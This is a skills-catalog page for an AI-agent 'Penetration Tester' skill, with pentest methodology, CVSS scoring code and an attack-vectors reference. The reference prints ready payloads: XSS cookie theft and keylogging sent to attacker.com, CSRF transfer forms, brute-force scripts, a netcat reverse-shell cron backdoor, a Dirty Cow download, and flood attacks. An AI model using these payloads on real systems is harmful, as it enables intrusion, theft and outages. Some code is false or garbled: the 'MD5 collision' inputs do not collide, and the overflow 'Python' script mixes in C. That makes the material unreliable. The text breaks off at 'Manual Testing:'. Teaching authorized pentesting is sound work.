
Penetration Tester Skill
- 172 installs
- 404kidwiz/claude-supercode-skills
Conduct security testing, identify vulnerabilities, and validate application security posture before launch.
About
Perform thorough security testing and penetration assessments. Teaches vulnerability discovery methods, penetration testing techniques, threat modeling, and how to validate security controls.
- Vulnerability scanning
- Penetration testing
- Security audits
- Threat modeling
- Exploit validation
Penetration Tester by the numbers
- 172 all-time installs (skills.sh)
- Ranked #859 of 2,222 Security skills by installs in the Skillselion catalog
- Data as of Aug 11, 2026 (Skillselion catalog sync)
npx skills add https://github.com/404kidwiz/claude-supercode-skills --skill penetration-testerAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 172 |
|---|---|
| Repository | 404kidwiz/claude-supercode-skills ↗ |
What it does
Conduct security testing, identify vulnerabilities, and validate application security posture before launch.
Files
Penetration Tester
Purpose
Provides ethical hacking and offensive security expertise specializing in vulnerability assessment and penetration testing across web applications, networks, and cloud infrastructure. Identifies and exploits security vulnerabilities before malicious actors can leverage them.
When to Use
- Assessing the security posture of a web application, API, or network
- Conducting a "Black Box", "Gray Box", or "White Box" penetration test
- Validating findings from automated scanners (False Positive analysis)
- Exploiting specific vulnerabilities (SQLi, XSS, SSRF, RCE) to prove impact
- Performing reconnaissance and OSINT on a target
- Auditing GraphQL or REST APIs for IDORs and logic flaws
--- ---
2. Decision Framework
Testing Methodology Selection
What is the target?
│
├─ **Web Application**
│ ├─ API intensive? → **API Test** (Postman/Burp, focus on IDOR/Auth)
│ ├─ Legacy/Monolith? → **OWASP Top 10** (SQLi, XSS, Deserialization)
│ └─ Modern/SPA? → **Client-side attacks** (DOM XSS, CSTI, JWT)
│
├─ **Cloud Infrastructure**
│ ├─ AWS/Azure/GCP? → **Cloud Pentest** (Pacu, ScoutSuite, IAM privesc)
│ └─ Kubernetes? → **Container Breakout** (Capabilities, Role bindings)
│
└─ **Network / Internal**
├─ Active Directory? → **AD Assessment** (BloodHound, Kerberoasting)
└─ External Perimeter? → **Recon + Service Exploitation** (Nmap, Metasploit)Tool Selection Matrix
| Phase | Category | Tool Recommendation |
|---|---|---|
| Recon | Subdomain Enum | Amass, Subfinder |
| Recon | Content Discovery | ffuf, dirsearch |
| Scanning | Vulnerability | Nuclei, Nessus, Burp Suite Pro |
| Exploitation | Web | Burp Suite, SQLMap |
| Exploitation | Network | Metasploit, NetExec |
| Post-Exploitation | Windows/AD | Mimikatz, BloodHound, Impacket |
Severity Scoring (CVSS 3.1)
| Severity | Score | Criteria | Example |
|---|---|---|---|
| Critical | 9.0 - 10.0 | RCE, Auth Bypass, SQLi (Data dump) | Remote Code Execution |
| High | 7.0 - 8.9 | Stored XSS, IDOR (Sensitive), SSRF | Admin Account Takeover |
| Medium | 4.0 - 6.9 | Reflected XSS, CSRF, Info Disclosure | Stack Trace leakage |
| Low | 0.1 - 3.9 | Cookie flags, Banner grabbing | Missing HttpOnly flag |
Red Flags → Escalate to `legal-advisor`:
- Scope creep (Touching systems not in the contract)
- Testing production during peak hours (DoS risk)
- Accessing PII/PHI without authorization (Proof of Concept only)
- Testing third-party SaaS providers without permission
--- ---
3. Core Workflows
Workflow 1: Web Application Assessment (OWASP)
Goal: Identify critical vulnerabilities in a web app.
Steps:
1. Reconnaissance
# Subdomain discovery
subfinder -d target.com -o subdomains.txt
# Live host verification
httpx -l subdomains.txt -o live_hosts.txt2. Mapping & Discovery
- Spider the application (Burp Suite).
- Identify all entry points (Inputs, URL parameters, Headers).
- Fuzzing:
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,4033. Vulnerability Hunting
- SQL Injection: Test
' OR 1=1--on login forms and IDs. - XSS: Test
<script>alert(1)</script>in comments/search. - IDOR: Change
user_id=100touser_id=101.
4. Exploitation (PoC)
- Confirm vulnerability.
- Document the request/response.
- Estimate impact (Confidentiality, Integrity, Availability).
--- ---
Workflow 3: Cloud Security Assessment (AWS)
Goal: Identify misconfigurations leading to privilege escalation.
Steps:
1. Enumeration
- Obtain credentials (leaked or provided).
- Run ScoutSuite:
scout aws2. S3 Bucket Analysis
- Check for public buckets.
- Check for writable buckets (Authenticated Users).
3. IAM Privilege Escalation
- Analyze permissions. Look for
iam:PassRole,ec2:CreateInstanceProfile. - Exploit: Create EC2 instance with Admin role, SSH in, steal metadata credentials.
--- ---
5. Anti-Patterns & Gotchas
❌ Anti-Pattern 1: "Scanning is Pentesting"
What it looks like:
- Running Nessus/Acunetix, exporting the PDF, and calling it a penetration test.
Why it fails:
- Scanners miss business logic flaws (IDORs, Logic bypasses).
- Scanners report false positives.
- Clients pay for human expertise, not tool output.
Correct approach:
- Use scanners for coverage (low hanging fruit).
- Use manual testing for depth (critical flaws).
❌ Anti-Pattern 2: Destructive Testing in Production
What it looks like:
- Running
sqlmap --os-shellon a production database. - Running a high-thread
dirbusterscan on a fragile server.
Why it fails:
- Data corruption.
- Denial of Service (DoS) for real users.
- Legal liability.
Correct approach:
- Read-only payloads where possible (e.g.,
SLEEP(5)instead ofDROP TABLE). - Rate limit scanning tools.
- Test in Staging whenever possible.
❌ Anti-Pattern 3: Ignoring Scope
What it looks like:
- Testing
admin.target.comwhen onlywww.target.comis in scope. - Phishing employees when social engineering was excluded.
Why it fails:
- Breach of contract.
- Potential criminal charges (CFAA).
Correct approach:
- Always verify the Rules of Engagement (RoE).
- If you find something interesting out of scope, ask for permission first.
--- ---
Examples
Example 1: Web Application Security Assessment
Scenario: Conduct comprehensive OWASP Top 10 assessment for a financial services web application.
Testing Approach: 1. Reconnaissance: Subdomain enumeration, technology stack identification 2. Mapping: Full application spidering, endpoint discovery 3. Vulnerability Scanning: Automated scanning with manual verification 4. Exploitation: Proof-of-concept development for critical findings
Key Findings:
| Vulnerability | CVSS | Impact | Remediation |
|---|---|---|---|
| SQL Injection (Auth Bypass) | 9.8 | Full database access | Parameterized queries |
| Stored XSS (Admin Panel) | 8.1 | Session hijacking | Input sanitization |
| IDOR (Account Takeover) | 7.5 | Unauthorized access | Authorization checks |
| Missing CSP Headers | 5.3 | XSS vulnerability | Implement CSP |
Remediation Validation:
- Retested all findings after patch deployment
- Verified no regression in functionality
- Confirmed zero false positives in final report
Example 2: Cloud Infrastructure Assessment (AWS)
Scenario: Identify security misconfigurations in AWS production environment.
Assessment Approach: 1. Enumeration: IAM policies, S3 bucket permissions, EC2 security groups 2. Misconfiguration Analysis: ScoutSuite automated scanning 3. Privilege Escalation: Tested for permission chaining attacks 4. Exploitation: Validated critical findings with PoC
Critical Findings:
- 3 S3 buckets with public read access
- IAM user with excessive permissions (iam:PassRole → ec2:RunInstances)
- Security groups allowing unrestricted SSH (0.0.0.0/0)
- Unencrypted EBS volumes containing sensitive data
Business Impact:
- Potential data breach exposure: 50,000+ customer records
- Unauthorized compute resource creation risk
- Compliance violations (PCI-DSS, SOC 2)
Remediation:
- Implemented SCPs to restrict public bucket creation
- Applied least privilege principles to IAM policies
- Remediated all overly permissive security groups
- Enabled encryption at rest for all EBS volumes
Example 3: API Penetration Testing (GraphQL)
Scenario: Security assessment of GraphQL API for healthcare application.
Testing Methodology: 1. Introspection Analysis: Schema reconstruction and query analysis 2. Authorization Testing: BOLA/IDOR vulnerabilities 3. DoS Testing: Query complexity and batching attacks 4. Bypass Attempts: Authentication and rate limit bypass
Findings:
| Finding | Severity | Exploitability | Remediation |
|---|---|---|---|
| BOLA (Broken Object Level Authorization) | Critical | Easy | Add ownership verification |
| Introspection Enabled | Medium | N/A | Disable in production |
| Query Depth Limit Missing | High | Easy | Implement max depth |
| No Rate Limiting | High | Easy | Add rate limiting |
Demonstrated Impact:
- Accessed any patient's medical records by manipulating ID parameter
- Caused temporary DoS with deeply nested queries
- Extracted sensitive metadata through introspection
Best Practices
Reconnaissance and Discovery
- Thorough Enumeration: Leave no stone unturned in reconnaissance
- Automated Tools: Use scanners for coverage, manual for depth
- OSINT Integration: Leverage open-source intelligence
- Scope Verification: Confirm targets before testing
Vulnerability Assessment
- Manual Verification: Confirm all automated findings
- False Positive Analysis: Validate true vulnerabilities
- Business Logic Testing: Go beyond OWASP Top 10
- Comprehensive Coverage: Test all user roles and flows
Exploitation and Validation
- Safe Exploitation: Minimize impact during testing
- Proof of Concept: Document exploitability clearly
- Evidence Collection: Screenshots, logs, requests
- Scope Boundaries: Never exceed authorized testing
Reporting and Communication
- Clear Documentation: Detailed findings with evidence
- Risk Scoring: Accurate CVSS calculations
- Actionable Remediation: Specific, implementable advice
- Executive Summary: Accessible for non-technical stakeholders
Quality Checklist
Preparation:
- [ ] Scope: Signed RoE (Rules of Engagement) and Authorization letter.
- [ ] Access: Credentials/VPN access verified.
- [ ] Backups: Confirmed client has backups (if applicable).
- [ ] Legal: Confirmed testing dates and boundaries in writing.
Execution:
- [ ] Coverage: All user roles tested (Admin, User, Unauth).
- [ ] Validation: All scanner findings manually verified.
- [ ] Evidence: Screenshots/Logs collected for every finding.
- [ ] Safety: Test data cleaned up, no permanent damage.
Reporting:
- [ ] Clarity: Executive summary understandable by non-tech stakeholders.
- [ ] Risk: CVSS scores calculated accurately.
- [ ] Remediation: Actionable, specific advice (not just "Fix it").
- [ ] Cleanup: Test data/accounts removed from target system.
- [ ] Timeline: Findings delivered within agreed timeframe.
Attack Vectors Reference
Overview
Comprehensive reference of common attack vectors and their exploitation techniques for security testing.
Web Application Attacks
SQL Injection (SQLi)
Description: Injection of malicious SQL queries through input fields
Types:
- In-band SQLi: Error-based and Union-based
- Blind SQLi: Boolean-based and Time-based
- Out-of-band SQLi: Data exfiltration via external channels
Detection:
' OR '1'='1
' OR '1'='1'--
admin' --
' UNION SELECT username, password FROM users --
' AND 1=1
' AND 1=2Exploitation:
-- Database enumeration
' UNION SELECT table_name FROM information_schema.tables --
-- Column enumeration
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
-- Data extraction
' UNION SELECT username, password FROM users --
-- Blind injection timing
' AND SLEEP(5)--
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--Remediation:
- Use parameterized queries
- Input validation and sanitization
- Least privilege database accounts
- Web Application Firewalls (WAF)
Cross-Site Scripting (XSS)
Description: Injection of malicious scripts into web pages viewed by other users
Types:
- Stored XSS: Malicious script stored on server
- Reflected XSS: Malicious script reflected in response
- DOM-based XSS: Vulnerability in client-side JavaScript
Detection:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<input autofocus onfocus=alert('XSS')>
<iframe src="javascript:alert('XSS')">Exploitation:
// Cookie stealing
<script>
fetch('http://attacker.com?c='+document.cookie)
</script>
// Keylogger
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com?k='+e.key);
})
</script>
// Phishing
<div id="fake-login">
<form action="http://attacker.com/phish">
<input type="text" name="username">
<input type="password" name="password">
</form>
</div>Remediation:
- Output encoding (HTML, JavaScript, URL)
- Content Security Policy (CSP)
- Input validation
- HttpOnly cookies
Cross-Site Request Forgery (CSRF)
Description: Unwanted actions performed on behalf of authenticated user
Detection:
- Check for anti-CSRF tokens
- Test state-changing requests without tokens
Exploitation:
<!-- CSRF attack payload -->
<img src="http://bank.com/transfer?to=attacker&amount=1000">
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
<input type="submit" value="Click here!">
</form>
<script>
fetch('http://bank.com/transfer', {
method: 'POST',
body: 'to=attacker&amount=1000'
});
</script>Remediation:
- Anti-CSRF tokens
- SameSite cookie attribute
- CORS validation
- Verify Origin/Referer headers
Authentication Attacks
Brute Force:
# Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=failed"
# Medusa
medusa -h target.com -u admin -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/login
# Custom script
#!/usr/bin/env python3
import requests
wordlist = open('/usr/share/wordlists/rockyou.txt', 'r')
for password in wordlist:
r = requests.post('http://target.com/login',
data={'username': 'admin', 'password': password.strip()})
if 'Login successful' in r.text:
print(f"Password found: {password}")
breakDefault Credentials:
admin:adminadmin:passwordadmin:123456root:rootadmin:admin123
Session Fixation:
# Capture session ID
curl -c cookies.txt http://target.com
# Fixate session
curl -b cookies.txt -c new_cookies.txt http://target.com/set_session?ID=ATTACKER_SESSION
# Login and get valid session with fixed ID
curl -b new_cookies.txt http://target.com/loginRemediation:
- Multi-factor authentication
- Account lockout after failed attempts
- Strong password policies
- Session management best practices
Network Attacks
Man-in-the-Middle (MITM)
ARP Spoofing:
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP spoofing
arpspoof -i eth0 -t target_ip gateway_ip
# Intercept with Wireshark or tcpdump
tcpdump -i eth0 -w capture.pcapDNS Spoofing:
# dnsspoof
dnsspoof -i eth0 -f /etc/dnsspoof.conf
# /etc/dnsspoof.conf example
*.target.com 10.0.0.1Remediation:
- HTTPS with valid certificates
- HSTS (HTTP Strict Transport Security)
- DNSSEC
- ARP inspection
- Network segmentation
Denial of Service (DoS/DDoS)
SYN Flood:
# hping3
hping3 -S -p 80 --flood --rand-source target_ip
# Custom Python script
#!/usr/bin/env python3
import socket
import random
target = "target.com"
port = 80
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + "X"*1024).encode(), (target, port))
s.close()HTTP Flood:
# Slowloris attack
slowloris -dns target.com -port 80
# GoldenEye
goldeneye.py http://target.com -w 500 -m 50Remediation:
- Rate limiting
- SYN cookies
- DDoS protection services
- Firewall rules
- Anomaly detection
System Attacks
Privilege Escalation
Linux Kernel Exploits:
# Check kernel version
uname -a
# Search for exploits
searchsploit linux kernel 5.4
# Dirty Cow exploit example
wget https://www.exploit-db.com/exploits/40839.c
gcc -pthread dirtyc0w.c -o dirtyc0w -lcrypt
./dirtyc0w /etc/passwd root:$(openssl passwd -1 newpass):0:0:root:/root:/bin/bashSUID Binaries:
# Find SUID files
find / -perm -4000 -type f 2>/dev/null
# Exploiting SUID binaries
# Example: nmap
nmap --interactive
!sh
# Example: find
find . -exec /bin/sh \;
# Example: vi
vi
:!shCron Jobs:
# Check cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# If writable, create backdoor
echo "* * * * * root /bin/bash -c 'nc -e /bin/sh attacker_ip 4444'" >> /etc/crontabRemediation:
- Keep kernel and software updated
- Remove unnecessary SUID files
- Restrict cron job permissions
- Principle of least privilege
Buffer Overflow
Stack Buffer Overflow:
#!/usr/bin/env python3
import struct
# Vulnerable function
def vulnerable_function(buffer):
char small_buffer[100];
strcpy(small_buffer, buffer); # No bounds checking
# Exploitation
buffer = b"A" * 104 # Fill buffer + overwrite EIP
buffer += struct.pack("<I", 0xbffff000) # Return address
buffer += b"\x90" * 32 # NOP sled
buffer += b"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" # Shellcode
vulnerable_function(buffer)Remediation:
- Use safe functions (strncpy instead of strcpy)
- Stack canaries
- ASLR (Address Space Layout Randomization)
- DEP/NX (Data Execution Prevention)
Cryptographic Attacks
Weak Encryption
RC4 Break:
#!/usr/bin/env python3
from Crypto.Cipher import ARC4
# RC4 is weak, key can be recovered from known plaintext
key = b"weakkey"
cipher = ARC4.new(key)
# If attacker knows plaintext and ciphertext, they can recover keyHash Collision:
#!/usr/bin/env python3
import hashlib
# MD5 and SHA-1 are vulnerable to collisions
# MD5 collision example
data1 = b"\x31\x0c\xce\xee\x3c\x81\xd9\x44\x95\x2e\x12\x38\x89\x9f\x4a\xb4"
data2 = b"\x31\x0c\xce\xee\x3c\x81\xd9\x44\x95\x2e\x12\x38\x89\x9f\x4a\xb5"
hash1 = hashlib.md5(data1).hexdigest()
hash2 = hashlib.md5(data2).hexdigest()
# hash1 == hash2 even though data1 != data2Remediation:
- Use strong encryption (AES-256)
- Use strong hash functions (SHA-256, SHA-3)
- Proper key management
- Constant-time comparison
Padding Oracle Attack
Detection:
# Test for padding oracle
curl -d "encrypted_data" https://target.com/decrypt
# Different error messages for padding vs. invalid data
# Use padbuster
padbuster https://target.com/decrypt ENCRYPTED_DATA 16 -cookies "JSESSIONID=xxx"Remediation:
- Use constant-time comparison
- Don't reveal padding errors
- Use authenticated encryption (AES-GCM)
API Security Attacks
API Key Leakage
# Discover API keys
curl https://api.target.com/users
# If API key in URL: ?api_key=sk_live_xxxx
# Try to find leaked keys in GitHub
githubsearch "sk_live_" "target.com"GraphQL Injection
# Introspection query to discover schema
{
__schema {
types {
name
fields {
name
type {
name
}
}
}
}
}
# Bypass rate limiting
query {
users(first: 1000) {
edges {
node {
id
email
password # Sensitive data
}
}
}
}Remediation:
- Disable introspection in production
- Query complexity limiting
- Rate limiting
- Input validation
Cloud Attacks
AWS Metadata Exploitation
# SSRF to access EC2 metadata
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get temporary credentials and access other AWS resourcesContainer Escape
# Privileged container escape
docker run --privileged -it ubuntu:latest bash
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Or access host Docker socket
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu:latest bash
docker ps # Can see host containersRemediation:
- Disable instance metadata service (if not needed)
- Use IMDSv2 with token
- Avoid privileged containers
- Network policies
- Runtime security tools
Defense Strategies
Defense in Depth
1. Prevention: Secure coding, input validation, authentication 2. Detection: Monitoring, logging, IDS/IPS 3. Response: Incident response, containment, remediation
Security Testing Checklist
- [ ] Automated vulnerability scanning
- [ ] Manual penetration testing
- [ ] Code reviews
- [ ] Configuration audits
- [ ] Threat modeling
- [ ] Security training
Tools Reference
| Attack Type | Tools |
|---|---|
| Web Application | OWASP ZAP, Burp Suite, SQLMap, XSSer |
| Network | Nmap, Metasploit, Wireshark |
| Exploitation | Metasploit, ExploitDB, Searchsploit |
| Password Cracking | John the Ripper, Hashcat, Hydra |
| Wireless | Aircrack-ng, Wifite, Kali tools |
Legal and Ethical Considerations
CRITICAL WARNING:
- Only test systems you own or have written authorization to test
- Obtain written permission before any testing
- Follow responsible disclosure practices
- Adhere to local laws and regulations
- Use secure testing environments
- Never cause actual damage
- Report findings responsibly
References
CVSS Scoring Reference
Overview
Comprehensive guide to CVSS (Common Vulnerability Scoring System) scoring for penetration testing.
CVSS v3.1 Overview
CVSS v3.1 provides a framework for characterizing and rating vulnerabilities. Scores range from 0.0 to 10.0.
Base Metrics
Attack Vector (AV)
How the vulnerability is exploited.
| Metric | Value | Score | Description |
|---|---|---|---|
| Network (N) | 0.85 | Exploitable over network | |
| Adjacent (A) | 0.62 | Requires same logical network | |
| Local (L) | 0.55 | Requires local access | |
| Physical (P) | 0.2 | Requires physical access |
Attack Complexity (AC)
Conditions beyond attacker's control.
| Metric | Value | Score | Description |
|---|---|---|---|
| Low (L) | 0.77 | No specialized access conditions | |
| High (H) | 0.44 | Specialized conditions required |
Privileges Required (PR)
Privileges the attacker must possess before exploiting.
| Metric | Value | Score | Description |
|---|---|---|---|
| None (N) | 0.85 | No privileges required | |
| Low (L) | 0.62 | Low privileges required | |
| High (H) | 0.27 | High privileges required |
User Interaction (UI)
Whether user interaction is required for exploitation.
| Metric | Value | Score | Description |
|---|---|---|---|
| None (N) | 0.85 | No user interaction required | |
| Required (R) | 0.62 | User interaction required |
Scope (S)
Does the vulnerable component impact other components?
| Metric | Value | Description |
|---|---|---|
| Unchanged (U) | Vulnerable component only | |
| Changed (C) | Impacts other components |
Confidentiality (C)
Impact on data confidentiality.
| Metric | Value | Description |
|---|---|---|
| High (H) | Total loss of confidentiality | |
| Low (L) | Some data loss | |
| None (N) | No impact |
Integrity (I)
Impact on data integrity.
| Metric | Value | Description |
|---|---|---|
| High (H) | Total loss of integrity | |
| Low (L) | Some data modification | |
| None (N) | No impact |
Availability (A)
Impact on availability of the component.
| Metric | Value | Description |
|---|---|---|
| High (H) | Total loss of availability | |
| Low (L) | Reduced performance | |
| None (N) | No impact |
Base Score Calculation
#!/usr/bin/env python3
def calculate_base_score(av, ac, pr, ui, scope, c, i, a):
"""Calculate CVSS v3.1 base score"""
# Metric values mapping
av_values = {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.2}
ac_values = {'L': 0.77, 'H': 0.44}
pr_values = {'N': 0.85, 'L': 0.62, 'H': 0.27}
ui_values = {'N': 0.85, 'R': 0.62}
cia_values = {'H': 0.56, 'L': 0.22, 'N': 0.0}
# Impact calculation
iss = 1 - ((1 - cia_values[c]) *
(1 - cia_values[i]) *
(1 - cia_values[a]))
# Impact sub-score
if scope == 'C':
impact = 7.52 * (iss - 0.029) - 3.25 * (iss - 0.02)**15
else:
impact = 6.42 * iss
# Exploitability
exploitability = 8.22 * av_values[av] * ac_values[ac] * pr_values[pr] * ui_values[ui]
# Base score
if impact <= 0:
return 0.0
if scope == 'C':
base = min(10, impact + exploitability)
else:
base = min(10, (impact + exploitability) * 1.08)
return round(base, 1)Severity Ratings
| Score Range | Severity | Color |
|---|---|---|
| 9.0 - 10.0 | Critical | 🔴 |
| 7.0 - 8.9 | High | 🟠 |
| 4.0 - 6.9 | Medium | 🟡 |
| 0.1 - 3.9 | Low | 🟢 |
| 0.0 | None | ⚪ |
Common CVSS Scores by Attack Type
SQL Injection
Attack Vector: Network (N) - 0.85
Attack Complexity: Low (L) - 0.77
Privileges Required: None (N) - 0.85
User Interaction: None (N) - 0.85
Scope: Unchanged (U)
Confidentiality: High (H) - 0.56
Integrity: High (H) - 0.56
Availability: High (H) - 0.56
Score: 9.8 (Critical)Cross-Site Scripting (Reflected)
Attack Vector: Network (N) - 0.85
Attack Complexity: Low (L) - 0.77
Privileges Required: None (N) - 0.85
User Interaction: Required (R) - 0.62
Scope: Unchanged (U)
Confidentiality: Low (L) - 0.22
Integrity: Low (L) - 0.22
Availability: None (N) - 0.0
Score: 6.1 (Medium)Stored XSS
Attack Vector: Network (N) - 0.85
Attack Complexity: Low (L) - 0.77
Privileges Required: None (N) - 0.85
User Interaction: Required (R) - 0.62
Scope: Changed (C)
Confidentiality: High (H) - 0.56
Integrity: High (H) - 0.56
Availability: None (N) - 0.0
Score: 8.1 (High)CSRF
Attack Vector: Network (N) - 0.85
Attack Complexity: Low (L) - 0.77
Privileges Required: None (N) - 0.85
User Interaction: Required (R) - 0.62
Scope: Unchanged (U)
Confidentiality: Low (L) - 0.22
Integrity: High (H) - 0.56
Availability: None (N) - 0.0
Score: 6.5 (Medium)Broken Access Control
Attack Vector: Network (N) - 0.85
Attack Complexity: Low (L) - 0.77
Privileges Required: Low (L) - 0.62
User Interaction: None (N) - 0.85
Scope: Changed (C)
Confidentiality: High (H) - 0.56
Integrity: High (H) - 0.56
Availability: High (H) - 0.56
Score: 9.6 (Critical)Hardcoded Credentials
Attack Vector: Network (N) - 0.85
Attack Complexity: Low (L) - 0.77
Privileges Required: None (N) - 0.85
User Interaction: None (N) - 0.85
Scope: Unchanged (U)
Confidentiality: High (H) - 0.56
Integrity: None (N) - 0.0
Availability: None (N) - 0.0
Score: 9.8 (Critical)Temporal Metrics (Optional)
Exploit Code Maturity (E)
- Not Defined (X): Assign no score
- Unproven (U): No exploit code exists
- Proof of Concept (P): Proof-of-concept code
- Functional (F): Functional exploit exists
- High (H): Reliable, weaponized exploit
Remediation Level (R)
- Not Defined (X): Assign no score
- Official Fix (O): Vendor has issued fix
- Temporary Fix (T): Temporary workaround available
- Workaround (W): Non-vendor workaround available
- Unavailable (U): No fix available
Report Confidence (C)
- Not Defined (X): Assign no score
- Unknown (U): Unknown
- Reasonable (R): Reasonable confidence
- Confirmed (C): Vulnerability confirmed
Environmental Metrics (Optional)
Confidentiality Requirement (CR)
- Not Defined (X): Assign no score
- Low (L): Low impact to organization
- Medium (M): Medium impact to organization
- High (H): High impact to organization
Integrity Requirement (IR)
Same as Confidentiality Requirement
Availability Requirement (AR)
Same as Confidentiality Requirement
Modified Base Metrics
Same as Base Metrics but adjusted for environment
CVSS Calculator
#!/usr/bin/env python3
"""
CVSS v3.1 Calculator
Usage: python3 cvss_calculator.py
"""
from typing import Dict, Tuple
class CVSSCalculator:
def __init__(self):
self.metrics = {
'AV': {'N': 0.85, 'A': 0.62, 'L': 0.55, 'P': 0.2},
'AC': {'L': 0.77, 'H': 0.44},
'PR': {'N': 0.85, 'L': 0.62, 'H': 0.27},
'UI': {'N': 0.85, 'R': 0.62},
'CIA': {'H': 0.56, 'L': 0.22, 'N': 0.0}
}
def calculate_base(self, av: str, ac: str, pr: str, ui: str,
scope: str, c: str, i: str, a: str) -> Tuple[float, str]:
"""Calculate base score and severity"""
# Impact sub-score
iss = 1 - ((1 - self.metrics['CIA'][c]) *
(1 - self.metrics['CIA'][i]) *
(1 - self.metrics['CIA'][a]))
# Impact calculation
if scope == 'C':
impact = 7.52 * (iss - 0.029) - 3.25 * (iss - 0.02)**15
else:
impact = 6.42 * iss
# Exploitability
exploitability = (8.22 * self.metrics['AV'][av] *
self.metrics['AC'][ac] *
self.metrics['PR'][pr] *
self.metrics['UI'][ui])
# Base score
if impact <= 0:
base_score = 0.0
elif scope == 'C':
base_score = min(10, impact + exploitability)
else:
base_score = min(10, (impact + exploitability) * 1.08)
return round(base_score, 1), self._get_severity(base_score)
def _get_severity(self, score: float) -> str:
"""Get severity rating from score"""
if score >= 9.0:
return "Critical"
elif score >= 7.0:
return "High"
elif score >= 4.0:
return "Medium"
elif score > 0.0:
return "Low"
else:
return "None"
# Example usage
if __name__ == '__main__':
calc = CVSSCalculator()
# SQL Injection example
score, severity = calc.calculate_base('N', 'L', 'N', 'N', 'U', 'H', 'H', 'H')
print(f"SQL Injection: {score} ({severity})")
# XSS example
score, severity = calc.calculate_base('N', 'L', 'N', 'R', 'U', 'L', 'L', 'N')
print(f"Reflected XSS: {score} ({severity})")CVSS String Format
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| | | | | | | |
| | | | | | | + Availability
| | | | | | + Integrity
| | | | | + Confidentiality
| | | | + Scope
| | | + User Interaction
| | + Privileges Required
| + Attack Complexity
+ Attack VectorQuick Reference Card
┌─────────────────────────────────────────────────────────┐
│ CVSS v3.1 │
├─────────────────────────────────────────────────────────┤
│ │
│ AV N(0.85) A(0.62) L(0.55) P(0.2) │
│ AC L(0.77) H(0.44) │
│ PR N(0.85) L(0.62) H(0.27) │
│ UI N(0.85) R(0.62) │
│ CIA H(0.56) L(0.22) N(0.0) │
│ │
│ Critical 9.0-10.0 High 7.0-8.9 │
│ Medium 4.0-6.9 Low 0.1-3.9 │
│ │
│ Impact = 6.42 × ISS (Scope Unchanged) │
│ Impact = 7.52 × (ISS-0.029) - 3.25×(ISS-0.02)^15 │
│ (Scope Changed) │
│ │
│ Exploitability = 8.22 × AV × AC × PR × UI │
│ │
└─────────────────────────────────────────────────────────┘Best Practices
1. Be Conservative: When in doubt, score lower 2. Document Assumptions: Record what you assumed 3. Use Calculators: Use official CVSS calculators 4. Consider Context: Adjust for your environment 5. Review Regularly: Scores can change with new info
References
Penetration Testing Methodology
Overview
Systematic approach to penetration testing aligned with industry standards like PTES and OSSTMM.
Legal and Ethical Considerations
Pre-Engagement Requirements
CRITICAL:
- Obtain written authorization before testing
- Define scope and boundaries
- Establish rules of engagement
- Have incident response plan ready
- Ensure legal compliance
Authorization Document Template
Penetration Testing Authorization Agreement
Project Name: _____________________________
Client Organization: _____________________
Test Period: ____________________________
Scope:
- IP Ranges: _________________________
- Domains: ___________________________
- Applications: _______________________
Out of Scope:
- Production systems (unless authorized)
- Third-party services
- Physical security
Rules of Engagement:
- No data exfiltration
- No destructive testing
- No social engineering
- Follow responsible disclosure
Authorized Tester:
Name: ________________________________
Signature: ___________________________
Date: _______________________________
Client Representative:
Name: ________________________________
Signature: ___________________________
Date: _______________________________Testing Methodologies
PTES (Penetration Testing Execution Standard)
Phase 1: Pre-Engagement Interactions
Objectives:
- Define scope and objectives
- Establish communication channels
- Set expectations and deliverables
- Legal and compliance review
Deliverables:
- Rules of Engagement (RoE) document
- Statement of Work (SOW)
- Non-Disclosure Agreement (NDA)
Phase 2: Intelligence Gathering
Passive Reconnaissance:
# DNS enumeration
whois target.com
dig target.com ANY
nslookup target.com
host -t ns target.com
# Search engine reconnaissance
google site:target.com filetype:pdf
google site:target.com inurl:admin
google site:target.com ext:sql
# Social media analysis
google site:linkedin.com "target.com" employees
google site:twitter.com target.comActive Reconnaissance:
# Subdomain enumeration
sublist3r -d target.com
amass enum -d target.com
subfinder -d target.com
# Port scanning
nmap -sS -p- -T4 target.com
masscan -p1-65535 target.com --rate=1000
# Technology detection
whatweb target.com
wafw00f target.comTools:
- Nmap, Masscan, Netdiscover
- Sublist3r, Amass, Subfinder
- Whois, Dig, Host
- Google Dorks
- BuiltWith, Wappalyzer
Phase 3: Threat Modeling
Objectives:
- Identify potential attack vectors
- Understand data flows
- Map application architecture
- Prioritize testing areas
STRIDE Model:
- Spoofing: Can attacker impersonate users?
- Tampering: Can attacker modify data?
- Repudiation: Can attacker deny actions?
- Information Disclosure: Can attacker access sensitive data?
- Denial of Service: Can attacker disrupt services?
- Elevation of Privilege: Can attacker gain higher access?
Deliverables:
- Threat model document
- Attack tree diagram
- Risk matrix
- Testing prioritization
Phase 4: Vulnerability Analysis
Automated Scanning:
# Web vulnerability scan
zap-cli quick-scan --self-contained http://target.com
# Network vulnerability scan
nessuscli scan new --targets target.com --name target_scan
# Container vulnerability scan
trivy image myapp:latestManual Testing:
